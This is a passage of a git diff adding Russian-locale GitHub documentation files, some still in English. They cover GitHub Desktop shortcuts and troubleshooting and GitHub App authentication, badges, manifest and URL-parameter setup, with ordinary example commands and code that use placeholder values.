+|<kbd>CTRL</kbd>+<kbd>B</kbd> | Отображение всех ветвей +|<kbd>CTRL</kbd>+<kbd>G</kbd> | Переход к полю сводки фиксации +|<kbd>CTRL</kbd>+<kbd>ВВОД</kbd> | Фиксация изменений, если поле сводки или описания активно +|<kbd>ПРОБЕЛ</kbd>| Выбор или отмена выбора всех выделенных файлов +|<kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>N</kbd> | Создание ветви +|<kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>R</kbd> | Переименование текущей ветви +|<kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>D</kbd> | Удаление текущей ветви +|<kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>U</kbd> | Обновление из ветви по умолчанию +|<kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>B</kbd> | Сравнение с существующей ветвью +|<kbd>CTRL</kbd>+<kbd>SHIFT</kbd>+<kbd>M</kbd> | Слияние в текущую ветвь +|<kbd>CTRL</kbd>+<kbd>H</kbd> | Отображение или скрытие спрятанных изменений +|<kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>C</kbd> | Сравнение ветвей на {% data variables.product.prodname_dotcom %} +|<kbd>Ctrl</kbd>+<kbd>R</kbd> | Отображение поточного запроса на вытягивание на {% data variables.product.prodname_dotcom %} + +{% endwindows %} diff --git a/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/overview/launching-github-desktop-from-the-command-line.md b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/overview/launching-github-desktop-from-the-command-line.md new file mode 100644 index 000000000000..d43ff4f4aaef --- /dev/null +++ b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/overview/launching-github-desktop-from-the-command-line.md @@ -0,0 +1,53 @@ +--- +title: Запуск GitHub Desktop из командной строки +shortTitle: Launching from the command line +intro: Можно запустить GitHub Desktop из командной строки +redirect_from: + - /desktop/getting-started-with-github-desktop/launching-github-desktop-from-the-command-line + - /desktop/installing-and-configuring-github-desktop/launching-github-desktop-from-the-command-line +versions: + fpt: '*' +ms.openlocfilehash: 5d9851cc8596299b9d3c4f6ec4d2c72e7d4a2b49 +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148009062' +--- +{% mac %} + +1. В строке меню выберите меню **{% data variables.product.prodname_desktop %}** и нажмите кнопку **Установить программу командной строки**. +![Параметр "Установить программу командной строки" в раскрывающемся меню {% data variables.product.prodname_desktop %}](/assets/images/help/desktop/mac-install-command-line-tool.png) +2. Откройте терминал. +3. {% data reusables.desktop.launch-desktop-from-command-line %} + + ```shell + $ github /PATH/TO/REPO + ``` + + Вы также можете изменить путь к репозиторию, а затем ввести `github .`, чтобы открыть этот репозиторий. + + ```shell + $ cd /PATH/TO/REPO + [repo]$ github . + ``` + +{% endmac %} + +{% windows %} + +1. Откройте командную строку. +2. {% data reusables.desktop.launch-desktop-from-command-line %} + + ```shell + C:\Users\octocat> github PATH\TO\REPO + ``` + + Вы также можете изменить путь к репозиторию, а затем ввести `github .`, чтобы открыть этот репозиторий. + + ```shell + C:\Users\octocat> cd REPO\MY-REPO + C:\Users\octocat\repo\myrepo> github . + ``` + +{% endwindows %} diff --git a/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/overview/supported-operating-systems.md b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/overview/supported-operating-systems.md new file mode 100644 index 000000000000..3b8b43569b86 --- /dev/null +++ b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/overview/supported-operating-systems.md @@ -0,0 +1,71 @@ +--- +title: Поддерживаемые операционные системы +intro: 'Можно использовать {% data variables.product.prodname_desktop %} в любой поддерживаемой операционной системе.' +miniTocMaxHeadingLevel: 3 +redirect_from: + - /desktop/getting-started-with-github-desktop/supported-operating-systems + - /desktop/installing-and-configuring-github-desktop/supported-operating-systems +versions: + fpt: '*' +shortTitle: Supported OS +ms.openlocfilehash: 13e148ccf8e254c4e40f9e20ad6c5af083e21d8c +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145117275' +--- +## Сведения о поддерживаемых операционных системах + +Для работы с {% data variables.product.prodname_desktop %} поддерживаются следующие операционные системы. +- {% data variables.desktop.mac-osx-versions %} +- {% data variables.desktop.windows-versions %}. Для запуска {% data variables.product.prodname_desktop %} должна быть установлена 64-разрядная операционная система. + +## Устранение неполадок в macOS +Если у вас возникли проблемы с использованием {% data variables.product.prodname_desktop %} в macOS, ознакомьтесь с приведенными ниже решениями. Дополнительные сведения см. на веб-сайте [`known-issues`](https://github.com/desktop/desktop/blob/development/docs/known-issues.md). + +### Ошибка `The username or passphrase you entered is not correct` после входа в учетную запись + +Эта ошибка может возникать, когда {% data variables.product.prodname_desktop %} не удается получить доступ к сохраненным учетным данным в цепочке ключей. + +Для устранения этой ошибки выполните следующие действия. + +1. Откройте приложение "Доступ к цепочке ключей". +2. Щелкните правой кнопкой мыши **login** и выберите команду **Заблокировать цепочку ключей "login"** . + ![Параметр "Заблокировать цепочку ключей «login»"](/assets/images/help/desktop/mac-lock-keychain.png) +3. Щелкните правой кнопкой мыши **login** и выберите команду **Разблокировать цепочку ключей "login"** . Следуйте инструкциям на экране, чтобы завершить разблокировку цепочки ключей "login". + ![Параметр "Разблокировать цепочку ключей «login»"](/assets/images/help/desktop/mac-unlock-keychain.png) +4. Повторно выполните проверку подлинности учетной записи в {% data variables.product.prodname_dotcom %} или {% data variables.product.prodname_enterprise %}. + +### Ошибка `Could not create temporary directory: Permission denied` после проверки наличия обновлений + +Эта ошибка может быть вызвана отсутствием разрешений на доступ к каталогу `~/Library/Caches/com.github.GitHubClient.ShipIt`. {% data variables.product.prodname_desktop %} использует этот каталог для создания и распаковки временных файлов в рамках обновления приложения. + +Для устранения этой ошибки выполните следующие действия. + +1. Закройте {% data variables.product.prodname_desktop %}. +2. Откройте "Finder" и перейдите в каталог `~/Library/Caches/`. +3. Щелкните правой кнопкой мыши `com.github.GitHubClient.ShipIt` и выберите команду **Получить сведения**. +4. Щелкните стрелку слева от элемента "Общий доступ и разрешения". +5. Если справа от учетной записи не указано разрешение "Чтение и запись", щелкните текст и нажмите кнопку **Чтение и запись**. + ![Параметры "Общий доступ и разрешения"](/assets/images/help/desktop/mac-adjust-permissions.png) +6. Откройте {% data variables.product.prodname_desktop %} и проверьте наличие обновлений. + +## Устранение неполадок в Windows +Если у вас возникли проблемы с использованием {% data variables.product.prodname_desktop %} в Windows, ознакомьтесь с приведенными ниже решениями. Дополнительные сведения см. на веб-сайте [`known-issues`](https://github.com/desktop/desktop/blob/development/docs/known-issues.md). + +### Ошибок: `The revocation function was unable to check revocation for the certificate.` + +Эта ошибка может возникнуть, если вы используете {% data variables.product.prodname_desktop %} в корпоративной сети, которая блокирует попытки Windows проверить состояние отзыва сертификата. + +Чтобы устранить неполадку, обратитесь к системному администратору. + +### Ошибка `git clone failed` при клонировании репозитория, настроенного с помощью перенаправления папок + +{% data variables.product.prodname_desktop %} не поддерживает репозитории, настроенные с помощью перенаправления папок. + +### Ошибок: `cygheap base mismatch detected` + +Эта ошибка может возникать, если включено обязательное использование ASLR. Включение обязательного использования ASLR влияет на основную библиотеку MSYS2, на основе которой {% data variables.product.prodname_desktop %} выполняет эмуляцию создания вилки процесса. + +Чтобы устранить эту ошибку, отключите обязательное использование ASLR или явным образом разрешите все исполняемые файлы в `<Git>\usr\bin`, от которых зависит MSYS2. diff --git a/translations/ru-RU/content/developers/apps/building-github-apps/authenticating-with-github-apps.md b/translations/ru-RU/content/developers/apps/building-github-apps/authenticating-with-github-apps.md new file mode 100644 index 000000000000..a8274a92fa32 --- /dev/null +++ b/translations/ru-RU/content/developers/apps/building-github-apps/authenticating-with-github-apps.md @@ -0,0 +1,177 @@ +--- +title: Authenticating with GitHub Apps +intro: '{% data reusables.shortdesc.authenticating_with_github_apps %}' +redirect_from: + - /apps/building-integrations/setting-up-and-registering-github-apps/about-authentication-options-for-github-apps + - /apps/building-github-apps/authentication-options-for-github-apps + - /apps/building-github-apps/authenticating-with-github-apps + - /developers/apps/authenticating-with-github-apps +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub Apps +shortTitle: Authentication +--- + + +## Generating a private key + +After you create a GitHub App, you'll need to generate one or more private keys. You'll use the private key to sign access token requests. + +You can create multiple private keys and rotate them to prevent downtime if a key is compromised or lost. To verify that a private key matches a public key, see [Verifying private keys](#verifying-private-keys). + +To generate a private key: + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.developer_settings %} +{% data reusables.user-settings.github_apps %} +{% data reusables.user-settings.modify_github_app %} +5. In "Private keys", click **Generate a private key**. +![Generate private key](/assets/images/github-apps/github_apps_generate_private_keys.png) +6. You will see a private key in PEM format downloaded to your computer. Make sure to store this file because GitHub only stores the public portion of the key. + +{% note %} + +**Note:** If you're using a library that requires a specific file format, the PEM file you download will be in `PKCS#1 RSAPrivateKey` format. + +{% endnote %} + +## Verifying private keys +{% data variables.product.product_name %} generates a fingerprint for each private and public key pair using the SHA-256 hash function. You can verify that your private key matches the public key stored on {% data variables.product.product_name %} by generating the fingerprint of your private key and comparing it to the fingerprint shown on {% data variables.product.product_name %}. + +To verify a private key: + +1. Find the fingerprint for the private and public key pair you want to verify in the "Private keys" section of your {% data variables.product.prodname_github_app %}'s developer settings page. For more information, see [Generating a private key](#generating-a-private-key). +![Private key fingerprint](/assets/images/github-apps/github_apps_private_key_fingerprint.png) +2. Generate the fingerprint of your private key (PEM) locally by using the following command: + ```shell + $ openssl rsa -in PATH_TO_PEM_FILE -pubout -outform DER | openssl sha256 -binary | openssl base64 + ``` +3. Compare the results of the locally generated fingerprint to the fingerprint you see in {% data variables.product.product_name %}. + +## Deleting private keys +You can remove a lost or compromised private key by deleting it, but you must have at least one private key. When you only have one key, you will need to generate a new one before deleting the old one. +![Deleting last private key](/assets/images/github-apps/github_apps_delete_key.png) + +## Authenticating as a {% data variables.product.prodname_github_app %} + +Authenticating as a {% data variables.product.prodname_github_app %} lets you do a couple of things: + +* You can retrieve high-level management information about your {% data variables.product.prodname_github_app %}. +* You can request access tokens for an installation of the app. + +To authenticate as a {% data variables.product.prodname_github_app %}, [generate a private key](#generating-a-private-key) in PEM format and download it to your local machine. You'll use this key to sign a [JSON Web Token (JWT)](https://jwt.io/introduction) and encode it using the `RS256` algorithm. {% data variables.product.product_name %} checks that the request is authenticated by verifying the token with the app's stored public key. + +Here's a quick Ruby script you can use to generate a JWT. Note you'll have to run `gem install jwt` before using it. + +<a name="jwt-payload"></a> +```ruby +require 'openssl' +require 'jwt' # https://rubygems.org/gems/jwt + +# Private key contents +private_pem = File.read("YOUR_PATH_TO_PEM") +private_key = OpenSSL::PKey::RSA.new(private_pem) + +# Generate the JWT +payload = { + # issued at time, 60 seconds in the past to allow for clock drift + iat: Time.now.to_i - 60, + # JWT expiration time (10 minute maximum) + exp: Time.now.to_i + (10 * 60), + # {% data variables.product.prodname_github_app %}'s identifier + iss: "YOUR_APP_ID" +} + +jwt = JWT.encode(payload, private_key, "RS256") +puts jwt +``` + +`YOUR_PATH_TO_PEM` and `YOUR_APP_ID` are the values you must replace. Make sure to enclose the values in double quotes. + +Use your {% data variables.product.prodname_github_app %}'s identifier (`YOUR_APP_ID`) as the value for the JWT [iss](https://tools.ietf.org/html/rfc7519#section-4.1.1) (issuer) claim. You can obtain the {% data variables.product.prodname_github_app %} identifier via the initial webhook ping after [creating the app](/apps/building-github-apps/creating-a-github-app/), or at any time from the app settings page in the GitHub.com UI. + +After creating the JWT, set it in the `Header` of the API request: + +```shell +$ curl -i -H "Authorization: Bearer YOUR_JWT" -H "Accept: application/vnd.github+json" {% data variables.product.api_url_pre %}/app +``` + +`YOUR_JWT` is the value you must replace. + +The example above uses the maximum expiration time of 10 minutes, after which the API will start returning a `401` error: + +```json +{ + "message": "'Expiration' claim ('exp') must be a numeric value representing the future time at which the assertion expires.", + "documentation_url": "{% data variables.product.doc_url_pre %}" +} +``` + +You'll need to create a new JWT after the time expires. + +## Accessing API endpoints as a {% data variables.product.prodname_github_app %} + +For a list of REST API endpoints you can use to get high-level information about a {% data variables.product.prodname_github_app %}, see "[GitHub Apps](/rest/reference/apps)." + +## Authenticating as an installation + +Authenticating as an installation lets you perform actions in the API for that installation. Before authenticating as an installation, you must create an installation access token. Ensure that you have already installed your GitHub App to at least one repository; it is impossible to create an installation token without a single installation. These installation access tokens are used by {% data variables.product.prodname_github_apps %} to authenticate. For more information, see "[Installing GitHub Apps](/developers/apps/managing-github-apps/installing-github-apps)." + +By default, installation access tokens are scoped to all the repositories that an installation can access. You can limit the scope of the installation access token to specific repositories by using the `repository_ids` parameter. See the [Create an installation access token for an app](/rest/reference/apps#create-an-installation-access-token-for-an-app) endpoint for more details. Installation access tokens have the permissions configured by the {% data variables.product.prodname_github_app %} and expire after one hour. + +To list the installations for an authenticated app, include the JWT [generated above](#jwt-payload) in the Authorization header in the API request: + +```shell +$ curl -i -X GET \ +-H "Authorization: Bearer YOUR_JWT" \ +-H "Accept: application/vnd.github+json" \ +{% data variables.product.api_url_pre %}/app/installations +``` + +The response will include a list of installations where each installation's `id` can be used for creating an installation access token. For more information about the response format, see "[List installations for the authenticated app](/rest/reference/apps#list-installations-for-the-authenticated-app)." + +To create an installation access token, include the JWT [generated above](#jwt-payload) in the Authorization header in the API request and replace `:installation_id` with the installation's `id`: + +```shell +$ curl -i -X POST \ +-H "Authorization: Bearer YOUR_JWT" \ +-H "Accept: application/vnd.github+json" \ +{% data variables.product.api_url_pre %}/app/installations/:installation_id/access_tokens +``` + +The response will include your installation access token, the expiration date, the token's permissions, and the repositories that the token can access. For more information about the response format, see the [Create an installation access token for an app](/rest/reference/apps#create-an-installation-access-token-for-an-app) endpoint. + +To authenticate with an installation access token, include it in the Authorization header in the API request: + +```shell +$ curl -i \ +-H "Authorization: Bearer YOUR_INSTALLATION_ACCESS_TOKEN" \ +-H "Accept: application/vnd.github+json" \ +{% data variables.product.api_url_pre %}/installation/repositories +``` + +`YOUR_INSTALLATION_ACCESS_TOKEN` is the value you must replace. + +{% note %} + +**Note:** {% data reusables.getting-started.bearer-vs-token %} + +{% endnote %} + +## Accessing API endpoints as an installation + +For a list of REST API endpoints that are available for use by {% data variables.product.prodname_github_apps %} using an installation access token, see "[Available Endpoints](/rest/overview/endpoints-available-for-github-apps)." + +For a list of endpoints related to installations, see "[Installations](/rest/reference/apps#installations)." + +## HTTP-based Git access by an installation + +Installations with [permissions](/apps/building-github-apps/setting-permissions-for-github-apps/) on `contents` of a repository, can use their installation access tokens to authenticate for Git access. Use the installation access token as the HTTP password: + +```shell +git clone https://x-access-token:<token>@github.com/owner/repo.git +``` diff --git a/translations/ru-RU/content/developers/apps/building-github-apps/creating-a-custom-badge-for-your-github-app.md b/translations/ru-RU/content/developers/apps/building-github-apps/creating-a-custom-badge-for-your-github-app.md new file mode 100644 index 000000000000..e48fa8462ba8 --- /dev/null +++ b/translations/ru-RU/content/developers/apps/building-github-apps/creating-a-custom-badge-for-your-github-app.md @@ -0,0 +1,50 @@ +--- +title: Creating a custom badge for your GitHub App +intro: '{% data reusables.shortdesc.creating_custom_badges_github_apps %}' +redirect_from: + - /apps/building-github-apps/creating-custom-badges-for-github-apps + - /developers/apps/creating-a-custom-badge-for-your-github-app +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub Apps +shortTitle: Custom badges +--- +By default, a new GitHub App will have an automatically generated [identicon](https://github.com/blog/1586-identicons). +An identicon badge looks something like this: + +![Identicon](/assets/images/identicon.png) + +After you create a GitHub App, you can customize your app's badge by uploading a logo and selecting a background color. A badge is a square logo image inside of a circular badge. You can choose a background color for the badge, which can visually distinguish your app. + +Your logo should be a PNG, JPG, or GIF file under 1 MB in size. For the best quality rendering, we recommend an image size of at least 200px x 200px. {% ifversion fpt or ghec %}See "[Tips for logo and badge images](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/#guidelines-for-logos)" for more guidance on customizing badges.{% endif %} + +{% ifversion fpt or ghec %} + +You can change a custom badge for a GitHub App that already has an approved Marketplace listing by navigating to https://github.com/marketplace/manage. + +{% endif %} + +To create a custom badge: + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.developer_settings %} +{% data reusables.user-settings.github_apps %} +{% data reusables.user-settings.modify_github_app %} +5. In "Display information", drag-and-drop an image from a local folder or click **Upload a logo** to select an image from your computer. +![Upload a logo](/assets/images/github-apps/github_apps_upload_logo.png) +6. Crop your picture. When you're done, click **Set new avatar**. +![Crop and set logo ](/assets/images/github-apps/github_apps_crop_and_set_avatar.png) +7. In "Badge background color", type the [hexadecimal color code](http://www.color-hex.com/) of the background color for your badge. {% ifversion fpt or ghec %}**Note:** The "Badge background color" input field will only appear after you upload an application logo.{% endif %} +![Badge background color](/assets/images/github-apps/github_apps_badge_background_color.png) + +{% ifversion fpt or ghec %} + +## Next steps + +For more information about creating a Marketplace listing for this app, see "[Listing on GitHub Marketplace](/marketplace/listing-on-github-marketplace/)". + +{% endif %} diff --git a/translations/ru-RU/content/developers/apps/building-github-apps/creating-a-github-app-from-a-manifest.md b/translations/ru-RU/content/developers/apps/building-github-apps/creating-a-github-app-from-a-manifest.md new file mode 100644 index 000000000000..cb9f3d7c2743 --- /dev/null +++ b/translations/ru-RU/content/developers/apps/building-github-apps/creating-a-github-app-from-a-manifest.md @@ -0,0 +1,207 @@ +--- +title: Создание приложения GitHub на основе манифеста +intro: 'Манифест приложения GitHub — это предварительно настроенное приложение GitHub, к которому можно предоставить общий доступ всем пользователям, желающим использовать приложение в личных репозиториях. Поток манифеста позволяет пользователю быстро создать, установить и начать расширение приложения GitHub без регистрации приложения или подключать регистрацию к коду размещенного приложения.' +redirect_from: + - /apps/building-github-apps/creating-github-apps-from-a-manifest + - /developers/apps/creating-a-github-app-from-a-manifest +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub Apps +shortTitle: App creation manifest flow +ms.openlocfilehash: 9ff6fa93e0f31de16e6ee2d96f1d7665742151d3 +ms.sourcegitcommit: 6bd8fe6d49214743f82fa2dc71847c241f140c87 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/07/2022 +ms.locfileid: '148135720' +--- +## Сведения о манифестах приложений GitHub + +Чтобы создать приложение GitHub на основе манифеста, достаточно указать URL-адрес и имя приложения. Манифест содержит разрешения, события и URL-адрес веб-перехватчика, которые необходимы для автоматической регистрации приложения. Поток манифеста создает регистрацию приложения GitHub и извлекает секрет веб-перехватчика приложения, закрытый ключ (PEM-файл), а также идентификатор приложения GitHub. Пользователь, создающий приложение на основе манифеста, становится владельцем приложения и может [изменять параметры конфигурации приложения](/apps/managing-github-apps/modifying-a-github-app/), удалять его или передавать его другому пользователю на GitHub. + +Чтобы начать работу с манифестами приложений GitHub или просмотреть пример реализации, можно использовать [Probot](https://probot.github.io/). Дополнительные сведения см. в разделе [Реализация потока манифеста приложения GitHub с помощью Probot](#using-probot-to-implement-the-github-app-manifest-flow). + +Ниже описываются некоторые сценарии, в которых можно создавать предварительно настроенные приложения с использованием манифестов приложений GitHub: + +* Помощь новым участникам команды в скорейшем освоении разработки приложений GitHub. +* Предоставление другим пользователям возможности расширять приложение GitHub с помощью API GitHub без необходимости его настройки. +* Создание справочных проектов приложений GitHub для совместного использования сообществом GitHub. +* Необходимость обеспечить развертывание приложения GitHub в среде разработки и рабочей среде в одной и той же конфигурации. +* Отслеживание исправлений в конфигурации приложения GitHub. + +## Реализация потока манифеста приложения GitHub + +Поток манифеста приложения GitHub использует процесс подтверждения, аналогичный [потоку OAuth](/apps/building-oauth-apps/authorizing-oauth-apps/). Этот поток использует манифест для [регистрации приложения GitHub](/apps/building-github-apps/creating-a-github-app/) и получает временный код (`code`), который используется для получения закрытого ключа приложения, секрета веб-перехватчика и идентификатора. + +{% note %} + +**Примечание**. Все эти три шага необходимо выполнить в потоке манифеста приложения GitHub в течение одного часа. + +{% endnote %} + +Реализация потока приложения GitHub состоит из следующих этапов: + +1. Вы перенаправляете пользователей на GitHub для создания нового приложения GitHub. +1. GitHub перенаправляет пользователей обратно на ваш сайт. +1. Вы обмениваете временный код для получения конфигурации приложения. + +### 1. Вы перенаправляете пользователей на GitHub для создания нового приложения GitHub + +Чтобы перенаправить пользователей для создания нового приложения GitHub, [предоставьте им ссылку](#examples), при щелчке на которой отправляется запрос `POST` по адресу `https://github.com/settings/apps/new` для получения личной учетной записи или `https://github.com/organizations/ORGANIZATION/settings/apps/new` для получения учетной записи организации (при этом `ORGANIZATION` заменяется на имя учетной записи организации, в которой будет создано приложение). + +[Параметры манифеста приложения GitHub](#github-app-manifest-parameters) необходимо включить в параметр с именем `manifest` в виде строки с кодировкой JSON. Также для дополнительной безопасности вы можете включить [параметр](#parameters) `state`. + +Пользователь, создающий приложение, будет перенаправлен на страницу GitHub с полем ввода, в котором можно изменить имя приложения, указанное в параметре `manifest`. Если в параметре `manifest` не задано `name`, пользователь может указать в этом поле собственное имя приложения. + +![Создание манифеста приложения GitHub](/assets/images/github-apps/create-github-app-manifest.png) + +#### Параметры манифеста приложения GitHub + + Имя | Тип | Описание +-----|------|------------- +`name` | `string` | Имя приложения GitHub. +`url` | `string` | **Обязательный.** Домашняя страница приложения GitHub. +`hook_attributes` | `object` | Конфигурация веб-перехватчика приложения GitHub. +`redirect_url` | `string` | Полный URL-адрес, на который осуществляется перенаправление после того, как пользователь инициирует создание приложения GitHub на основе манифеста. +`callback_urls` | `array of strings` | Полный URL-адрес для перенаправления после авторизации установки. Вы можете указать до 10 URL-адресов обратного вызова. +`setup_url` | `string` | Полный URL-адрес для перенаправления пользователей после установки приложения GitHub, если требуется дополнительная настройка. +`description` | `string` | Описание приложения GitHub. +`public` | `boolean` | Задайте значение `true`, если приложение GitHub доступно для всех пользователей, или `false` — если оно доступно только владельцу. +`default_events` | `array` | Список [событий](/webhooks/event-payloads), на которые подписывается приложение GitHub. +`default_permissions` | `object` | Набор [разрешений](/rest/reference/permissions-required-for-github-apps), необходимых приложению GitHub. Формат объекта использует имя разрешения в качестве ключа (например, `issues`) и тип доступа в качестве значения (например, `write`). + +Объект `hook_attributes` содержит следующие ключи: + +Имя | Тип | Описание +-----|------|------------- +`url` | `string` | **Обязательный.** URL-адрес сервера, который будет получать запросы `POST` веб-перехватчика. +`active` | `boolean` | Доставка сведений о событии при активации этого перехватчика. По умолчанию используется значение true. + +#### Параметры + + Имя | Тип | Описание +-----|------|------------- +`state`| `string` | {% data reusables.apps.state_description %} + +#### Примеры + +В этом примере на веб-странице размещается форма с кнопкой, которая активирует запрос `POST` для получения личной учетной записи. + +```html +<form action="https://github.com/settings/apps/new?state=abc123" method="post"> + Create a GitHub App Manifest: <input type="text" name="manifest" id="manifest"><br> + <input type="submit" value="Submit"> +</form> + +<script> + input = document.getElementById("manifest") + input.value = JSON.stringify({ + "name": "Octoapp", + "url": "https://www.example.com", + "hook_attributes": { + "url": "https://example.com/github/events", + }, + "redirect_url": "https://example.com/redirect", + "callback_urls": [ + "https://example.com/callback" + ], + "public": true, + "default_permissions": { + "issues": "write", + "checks": "write" + }, + "default_events": [ + "issues", + "issue_comment", + "check_suite", + "check_run" + ] + }) +</script> +``` + +В этом примере на веб-странице размещается форма с кнопкой, которая активирует запрос `POST` для получения учетной записи организации. Замените `ORGANIZATION` именем учетной записи организации, в которой вы хотите создать приложение. + +```html +<form action="https://github.com/organizations/ORGANIZATION/settings/apps/new?state=abc123" method="post"> + Create a GitHub App Manifest: <input type="text" name="manifest" id="manifest"><br> + <input type="submit" value="Submit"> +</form> + +<script> + input = document.getElementById("manifest") + input.value = JSON.stringify({ + "name": "Octoapp", + "url": "https://www.example.com", + "hook_attributes": { + "url": "https://example.com/github/events", + }, + "redirect_url": "https://example.com/redirect", + "callback_urls": [ + "https://example.com/callback" + ], + "public": true, + "default_permissions": { + "issues": "write", + "checks": "write" + }, + "default_events": [ + "issues", + "issue_comment", + "check_suite", + "check_run" + ] + }) +</script> +``` + +### 2. GitHub перенаправляет пользователей обратно на ваш сайт + +Когда пользователь нажимает кнопку **Создать приложение GitHub**, GitHub выполняет обратное перенаправление к `redirect_url` с использованием временного кода (`code`) в параметре кода. Пример: + + https://example.com/redirect?code=a180b1a3d263c81bc6441d7b990bae27d4c10679 + +Если задан параметр `state`, этот параметр также будет представлен в параметре `redirect_url`. Пример: + + https://example.com/redirect?code=a180b1a3d263c81bc6441d7b990bae27d4c10679&state=abc123 + +### 3. Вы обмениваете временный код для получения конфигурации приложения + +Чтобы завершить подтверждение, отправьте временный код (`code`) в запросе `POST` в конечную точку [создания приложения GitHub на основе манифеста](/rest/reference/apps#create-a-github-app-from-a-manifest). Ответ будет содержать `id` (идентификатор приложения GitHub), `pem` (закрытый ключ) и `webhook_secret`. GitHub создает секрет веб-перехватчика для приложения автоматически. Эти значения можно хранить в переменных среды на сервере приложения. Например, если для хранения переменных среды, в приложении используется [dotenv](https://github.com/bkeepers/dotenv), эти переменные будут храниться в файле `.env` приложения. + +Этот шаг в потоке манифеста приложения GitHub необходимо выполнить в течение одного часа. + +{% note %} + +**Примечание**. Для этой конечной точки устанавливается ограничение скорости. Сведения о том, как узнать текущее состояние ограничения скорости, см. в разделе [Ограничения скорости](/rest/reference/rate-limit). + +{% endnote %} + + POST /app-manifests/{code}/conversions + +Дополнительные сведения об ответе конечной точки см. в разделе [Создание приложения GitHub на основе манифеста](/rest/reference/apps#create-a-github-app-from-a-manifest). + +После выполнения последнего шага в потоке манифеста пользователь, создающий приложение из потока, станет владельцем зарегистрированного приложения GitHub и сможет устанавливать его в любом из своих личных репозиториев. Владелец также может расширить приложение с помощью API GitHub, передать права владения другому пользователю или в любой момент удалить его. + +## Реализация потока манифеста приложения GitHub с помощью Probot + +[Probot](https://probot.github.io/) — это созданная на основе [Node.js](https://nodejs.org/) платформа, которая выполняет многие используемые всеми приложениями GitHub задачи, в том числе проверку веб-перехватчиков и проверку подлинности. Probot реализует [поток манифеста приложения GitHub](#implementing-the-github-app-manifest-flow), благодаря чему упрощается создание справочных проектов приложений GitHub и их совместное использование сообществом GitHub. + +Чтобы создать доступное для совместного использования приложение Probot, сделайте следующее: + +1. [Создайте новое приложение GitHub](https://probot.github.io/docs/development/#generating-a-new-app). +1. Откройте созданный проект и настройте параметры в файле `app.yml`. Probot использует параметры в файле `app.yml` в качестве [параметров манифеста приложения GitHub](#github-app-manifest-parameters). +1. Добавьте код своего приложения. +1. [Запустите приложение GitHub локально](https://probot.github.io/docs/development/#running-the-app-locally) или [разместите его в любом месте](#hosting-your-app-with-glitch). При переходе по URL-адресу размещенного приложения появится веб-страница с кнопкой **Зарегистрировать приложение GitHub**, с помощью которой пользователь может создать предварительно настроенное приложение. На представленной ниже веб-странице показано, как Probot реализует [шаг 1](#1-you-redirect-people-to-github-to-create-a-new-github-app) в потоке манифеста приложения GitHub: + +![Регистрация приложения Probot GitHub](/assets/images/github-apps/github_apps_probot-registration.png) + +Используя [dotenv](https://github.com/bkeepers/dotenv), Probot создает файл `.env` и присваивает переменным среды `APP_ID`, `PRIVATE_KEY` и `WEBHOOK_SECRET` значения, [полученные из конфигурации приложения](#3-you-exchange-the-temporary-code-to-retrieve-the-app-configuration). + +### Размещение приложения с помощью Glitch + +Вы можете ознакомиться с [примером приложения Probot](https://glitch.com/~auspicious-aardwolf), которое использует [Glitch](https://glitch.com/) для размещения и совместного использования приложения. В этом примере используется [API проверок](/rest/reference/checks) и выбираются необходимые события и разрешения этого API в файле `app.yml`. Glitch — это инструмент, позволяющий делать "ремиксы" собственных приложений. При этом создается копия приложения, которая размещается и развертывается средствами Glitch. Дополнительные сведения о создании ремиксов приложений с помощью Glitch см. на [этой странице](https://glitch.com/about/). diff --git a/translations/ru-RU/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md b/translations/ru-RU/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md new file mode 100644 index 000000000000..8bbebd4b20e2 --- /dev/null +++ b/translations/ru-RU/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md @@ -0,0 +1,131 @@ +--- +title: Creating a GitHub App using URL parameters +intro: 'You can preselect the settings of a new {% data variables.product.prodname_github_app %} using URL [query parameters](https://en.wikipedia.org/wiki/Query_string) to quickly set up the new {% data variables.product.prodname_github_app %}''s configuration.' +redirect_from: + - /apps/building-github-apps/creating-github-apps-using-url-parameters + - /developers/apps/creating-a-github-app-using-url-parameters +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub Apps +shortTitle: App creation query parameters +--- +## About {% data variables.product.prodname_github_app %} URL parameters + +You can add query parameters to these URLs to preselect the configuration of a {% data variables.product.prodname_github_app %} on a personal or organization account: + +* **Personal account:** `{% data variables.product.oauth_host_code %}/settings/apps/new` +* **Organization account:** `{% data variables.product.oauth_host_code %}/organizations/:org/settings/apps/new` + +The person creating the app can edit the preselected values from the {% data variables.product.prodname_github_app %} registration page, before submitting the app. If you do not include required parameters in the URL query string, like `name`, the person creating the app will need to input a value before submitting the app. + +For apps that require a secret to secure their webhook, the secret's value must be set in the form by the person creating the app, not by using query parameters. For more information, see "[Securing your webhooks](/developers/webhooks-and-events/webhooks/securing-your-webhooks)." + +The following URL creates a new public app called `octocat-github-app` with a preconfigured description and callback URL. This URL also selects read and write permissions for `checks`, subscribes to the 